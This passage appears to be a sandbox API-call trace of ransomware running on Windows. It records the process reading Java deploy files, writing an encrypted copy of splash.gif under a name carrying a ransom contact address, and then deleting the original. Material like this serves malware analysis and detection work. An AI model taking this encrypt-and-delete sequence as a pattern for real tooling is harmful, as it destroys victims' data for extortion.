lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties", lpFilePart=0x9bada4*="messages_es.properties") returned 0x44 [0130.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0130.378] GetCurrentThreadId () returned 0x9b0 [0130.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0130.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0130.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0130.378] GetLastError () returned 0x0 [0130.378] GetLastError () returned 0x0 [0130.379] GetLastError () returned 0x0 [0130.379] GetLastError () returned 0x0 [0130.379] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties", lpFilePart=0x9bada4*="messages_fr.properties") returned 0x44 [0130.379] GetCurrentThreadId () returned 0x9b0 [0130.379] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0130.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0130.379] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0130.380] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0130.380] GetCurrentThreadId () returned 0x9b0 [0130.380] GetLastError () returned 0x0 [0130.380] GetLastError () returned 0x0 [0130.380] GetLastError () returned 0x0 [0130.380] GetLastError () returned 0x0 [0130.380] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties", lpFilePart=0x9bada4*="messages_it.properties") returned 0x44 [0130.380] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0130.380] GetCurrentThreadId () returned 0x9b0 [0130.380] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0130.380] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0130.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0130.381] GetLastError () returned 0x0 [0130.381] GetLastError () returned 0x0 [0130.381] GetLastError () returned 0x0 [0130.381] GetLastError () returned 0x0 [0130.381] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties", lpFilePart=0x9bada4*="messages_ja.properties") returned 0x44 [0130.381] GetCurrentThreadId () returned 0x9b0 [0130.381] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0130.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0130.381] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0130.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0130.382] GetCurrentThreadId () returned 0x9b0 [0130.382] GetLastError () returned 0x0 [0130.382] GetLastError () returned 0x0 [0130.382] GetLastError () returned 0x0 [0130.382] GetLastError () returned 0x0 [0130.382] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties", lpFilePart=0x9bada4*="messages_ko.properties") returned 0x44 [0130.382] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0130.382] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0130.382] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0130.382] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0130.382] GetCurrentThreadId () returned 0x9b0 [0130.383] GetLastError () returned 0x0 [0130.383] GetLastError () returned 0x0 [0130.383] GetLastError () returned 0x0 [0130.383] GetLastError () returned 0x0 [0130.383] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties", lpFilePart=0x9bada4*="messages_pt_BR.properties") returned 0x47 [0130.383] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0130.383] GetCurrentThreadId () returned 0x9b0 [0130.383] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0130.383] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0130.383] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0130.383] GetLastError () returned 0x0 [0130.383] GetLastError () returned 0x0 [0130.384] GetLastError () returned 0x0 [0130.384] GetLastError () returned 0x0 [0130.384] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties", lpFilePart=0x9bada4*="messages_sv.properties") returned 0x44 [0130.384] GetCurrentThreadId () returned 0x9b0 [0130.384] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0130.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0130.384] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0130.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0130.384] GetCurrentThreadId () returned 0x9b0 [0130.384] GetLastError () returned 0x0 [0130.385] GetLastError () returned 0x0 [0130.385] GetLastError () returned 0x0 [0130.385] GetLastError () returned 0x0 [0130.385] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties", lpFilePart=0x9bada4*="messages_zh_CN.properties") returned 0x47 [0130.385] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0130.385] GetCurrentThreadId () returned 0x9b0 [0130.385] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0130.385] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0130.385] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0130.385] GetLastError () returned 0x0 [0130.385] GetLastError () returned 0x0 [0130.386] GetLastError () returned 0x0 [0130.386] GetLastError () returned 0x0 [0130.386] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties", lpFilePart=0x9bada4*="messages_zh_HK.properties") returned 0x47 [0130.386] GetCurrentThreadId () returned 0x9b0 [0130.386] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0130.386] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0130.386] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0130.386] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0130.386] GetCurrentThreadId () returned 0x9b0 [0130.386] GetLastError () returned 0x0 [0130.386] GetLastError () returned 0x0 [0130.387] GetLastError () returned 0x0 [0130.387] GetLastError () returned 0x0 [0130.387] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties", lpFilePart=0x9bada4*="messages_zh_TW.properties") returned 0x47 [0130.387] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0130.387] GetCurrentThreadId () returned 0x9b0 [0130.387] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0130.387] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0130.387] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0130.387] GetLastError () returned 0x0 [0130.387] GetLastError () returned 0x0 [0130.387] GetLastError () returned 0x0 [0130.387] GetLastError () returned 0x0 [0130.388] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif", lpFilePart=0x9bada4*="splash.gif") returned 0x38 [0130.388] GetCurrentThreadId () returned 0x9b0 [0130.388] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0130.388] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0130.388] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0130.388] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0130.388] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ac8 [0130.388] GetLastError () returned 0x0 [0130.388] GetLastError () returned 0x0 [0130.388] GetLastError () returned 0x0 [0130.389] GetLastError () returned 0x0 [0130.389] GetCurrentThreadId () returned 0x9b0 [0130.389] GetLastError () returned 0x0 [0130.389] GetCurrentThreadId () returned 0x9b0 [0130.389] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ac8 | out: hHeap=0x2ad0000) returned 1 [0130.389] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5dc0 [0130.389] GetLastError () returned 0x0 [0130.389] GetLastError () returned 0x0 [0130.389] GetLastError () returned 0x0 [0130.389] GetLastError () returned 0x0 [0130.390] GetCurrentThreadId () returned 0x9b0 [0130.390] GetLastError () returned 0x0 [0130.390] GetLastError () returned 0x0 [0130.390] GetLastError () returned 0x0 [0130.390] GetLastError () returned 0x0 [0130.390] GetLastError () returned 0x0 [0130.390] GetCurrentThreadId () returned 0x9b0 [0130.390] GetLastError () returned 0x0 [0130.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5dc0 | out: hHeap=0x2ad0000) returned 1 [0130.390] GetLastError () returned 0x0 [0130.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0130.391] GetLastError () returned 0x0 [0130.391] GetLastError () returned 0x0 [0130.391] GetLastError () returned 0x0 [0130.391] GetCurrentThreadId () returned 0x9b0 [0130.391] GetLastError () returned 0x0 [0130.391] GetCurrentThreadId () returned 0x9b0 [0130.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a4e8 [0130.391] GetLastError () returned 0x0 [0130.391] GetLastError () returned 0x0 [0130.391] GetLastError () returned 0x0 [0130.391] GetLastError () returned 0x0 [0130.392] GetCurrentThreadId () returned 0x9b0 [0130.392] GetLastError () returned 0x0 [0130.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0130.392] GetLastError () returned 0x0 [0130.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0130.392] GetLastError () returned 0x0 [0130.392] GetLastError () returned 0x0 [0130.392] GetLastError () returned 0x0 [0130.392] GetCurrentThreadId () returned 0x9b0 [0130.392] GetLastError () returned 0x0 [0130.393] GetLastError () returned 0x0 [0130.393] GetLastError () returned 0x0 [0130.393] GetLastError () returned 0x0 [0130.393] GetLastError () returned 0x0 [0130.393] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0130.393] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x218e)) returned 1 [0130.393] GetLastError () returned 0x0 [0130.393] GetCurrentThreadId () returned 0x9b0 [0130.393] GetLastError () returned 0x0 [0130.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0130.394] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bafc | out: pbBuffer=0x366bafc) returned 1 [0130.394] GetCurrentThreadId () returned 0x9b0 [0130.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0130.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0130.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0130.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c59d8 [0130.394] GetLastError () returned 0x0 [0130.394] GetLastError () returned 0x0 [0130.395] GetLastError () returned 0x0 [0130.395] GetLastError () returned 0x0 [0130.395] GetCurrentThreadId () returned 0x9b0 [0130.395] GetLastError () returned 0x0 [0130.395] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c59d8 | out: hHeap=0x2ad0000) returned 1 [0130.395] GetCurrentThreadId () returned 0x9b0 [0130.395] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5d70 [0130.395] GetLastError () returned 0x0 [0130.395] GetLastError () returned 0x0 [0130.395] GetLastError () returned 0x0 [0130.396] GetLastError () returned 0x0 [0130.396] GetCurrentThreadId () returned 0x9b0 [0130.396] GetLastError () returned 0x0 [0130.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5d70 | out: hHeap=0x2ad0000) returned 1 [0130.396] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265368 [0130.396] GetCurrentThreadId () returned 0x9b0 [0130.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4410 | out: hHeap=0x2ad0000) returned 1 [0130.396] GetLastError () returned 0x0 [0130.396] GetLastError () returned 0x0 [0130.396] GetLastError () returned 0x0 [0130.396] GetLastError () returned 0x0 [0130.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0130.397] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32653b8 [0130.397] GetLastError () returned 0x0 [0130.397] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0130.397] GetFileType (hFile=0x39c) returned 0x1 [0130.397] GetLastError () returned 0x0 [0130.397] GetCurrentThreadId () returned 0x9b0 [0130.398] GetLastError () returned 0x0 [0130.398] GetFileType (hFile=0x39c) returned 0x1 [0130.398] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.398] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.398] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.398] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.398] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.398] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.398] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.398] GetLastError () returned 0x0 [0130.398] GetCurrentThreadId () returned 0x9b0 [0130.398] GetLastError () returned 0x0 [0130.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0130.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874e8 | out: hHeap=0x2ad0000) returned 1 [0130.399] GetLastError () returned 0x0 [0130.399] GetLastError () returned 0x0 [0130.399] GetLastError () returned 0x0 [0130.399] GetLastError () returned 0x0 [0130.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0130.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32653b8 [0130.399] GetLastError () returned 0x0 [0130.399] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0130.400] GetFileType (hFile=0x3ac) returned 0x1 [0130.400] GetLastError () returned 0x0 [0130.400] GetCurrentThreadId () returned 0x9b0 [0130.400] GetLastError () returned 0x0 [0130.400] GetFileType (hFile=0x3ac) returned 0x1 [0130.400] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.400] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.400] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.400] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.401] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.401] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.401] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.401] GetLastError () returned 0x0 [0130.401] GetCurrentThreadId () returned 0x9b0 [0130.401] GetLastError () returned 0x0 [0130.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0130.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2cd8 | out: hHeap=0x2ad0000) returned 1 [0130.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0130.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0130.401] GetLastError () returned 0x0 [0130.401] GetLastError () returned 0x0 [0130.402] GetCurrentThreadId () returned 0x9b0 [0130.402] GetLastError () returned 0x0 [0130.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0130.402] GetLastError () returned 0x0 [0130.402] GetLastError () returned 0x0 [0130.402] GetCurrentThreadId () returned 0x9b0 [0130.402] GetLastError () returned 0x0 [0130.402] GetLastError () returned 0x0 [0130.406] GetLastError () returned 0x0 [0130.406] GetCurrentThreadId () returned 0x9b0 [0130.406] GetLastError () returned 0x0 [0130.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0130.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x21a8) returned 0x381b008 [0130.407] GetCurrentThreadId () returned 0x9b0 [0130.407] GetLastError () returned 0x0 [0130.407] GetLastError () returned 0x0 [0130.407] GetLastError () returned 0x0 [0130.407] GetLastError () returned 0x0 [0130.407] GetCurrentThreadId () returned 0x9b0 [0130.407] GetLastError () returned 0x0 [0130.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x381b008 | out: hHeap=0x2ad0000) returned 1 [0130.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0130.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.408] GetLastError () returned 0x0 [0130.409] GetLastError () returned 0x0 [0130.409] GetCurrentThreadId () returned 0x9b0 [0130.409] GetLastError () returned 0x0 [0130.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x381d1b8 | out: hHeap=0x2ad0000) returned 1 [0130.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fa6f8 [0130.409] GetLastError () returned 0x0 [0130.409] GetLastError () returned 0x0 [0130.409] GetCurrentThreadId () returned 0x9b0 [0130.409] GetLastError () returned 0x0 [0130.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fa6f8 | out: hHeap=0x2ad0000) returned 1 [0130.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.410] GetLastError () returned 0x0 [0130.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0130.410] CloseHandle (hObject=0x3ac) returned 1 [0130.411] GetLastError () returned 0x0 [0130.411] GetCurrentThreadId () returned 0x9b0 [0130.411] GetLastError () returned 0x0 [0130.411] GetLastError () returned 0x0 [0130.411] CloseHandle (hObject=0x39c) returned 1 [0130.411] GetLastError () returned 0x0 [0130.411] GetCurrentThreadId () returned 0x9b0 [0130.411] GetLastError () returned 0x0 [0130.411] GetLastError () returned 0x0 [0130.411] GetLastError () returned 0x0 [0130.412] GetLastError () returned 0x0 [0130.412] GetLastError () returned 0x0 [0130.412] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 1 [0130.413] GetLastError () returned 0x0 [0130.413] GetCurrentThreadId () returned 0x9b0 [0130.413] GetLastError () returned 0x0 [0130.413] GetLastError () returned 0x0 [0130.413] GetLastError () returned 0x0 [0130.413] GetLastError () returned 0x0 [0130.413] GetLastError () returned 0x0 [0130.414] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", lpFilePart=0x9bada4*="splash@2x.gif") returned 0x3b [0130.414] GetCurrentThreadId () returned 0x9b0 [0130.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0130.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0130.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0130.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0130.414] GetCurrentThreadId () returned 0x9b0 [0130.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c59d8 [0130.414] GetLastError () returned 0x0 [0130.414] GetLastError () returned 0x0 [0130.414] GetLastError () returned 0x0 [0130.415] GetLastError () returned 0x0 [0130.415] GetCurrentThreadId () returned 0x9b0 [0130.415] GetLastError () returned 0x0 [0130.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c59d8 | out: hHeap=0x2ad0000) returned 1 [0130.415] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5b40 [0130.415] GetLastError () returned 0x0 [0130.415] GetLastError () returned 0x0 [0130.415] GetLastError () returned 0x0 [0130.415] GetLastError () returned 0x0 [0130.415] GetCurrentThreadId () returned 0x9b0 [0130.415] GetLastError () returned 0x0 [0130.416] GetCurrentThreadId () returned 0x9b0 [0130.416] GetLastError () returned 0x0 [0130.416] GetLastError () returned 0x0 [0130.416] GetLastError () returned 0x0 [0130.416] GetLastError () returned 0x0 [0130.416] GetCurrentThreadId () returned 0x9b0 [0130.416] GetLastError () returned 0x0 [0130.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5b40 | out: hHeap=0x2ad0000) returned 1 [0130.416] GetLastError () returned 0x0 [0130.417] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0130.417] GetLastError () returned 0x0 [0130.417] GetLastError () returned 0x0 [0130.417] GetLastError () returned 0x0 [0130.417] GetCurrentThreadId () returned 0x9b0 [0130.417] GetLastError () returned 0x0 [0130.417] GetLastError () returned 0x0 [0130.417] GetLastError () returned 0x0 [0130.417] GetLastError () returned 0x0 [0130.417] GetLastError () returned 0x0 [0130.417] GetCurrentThreadId () returned 0x9b0 [0130.417] GetLastError () returned 0x0 [0130.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, 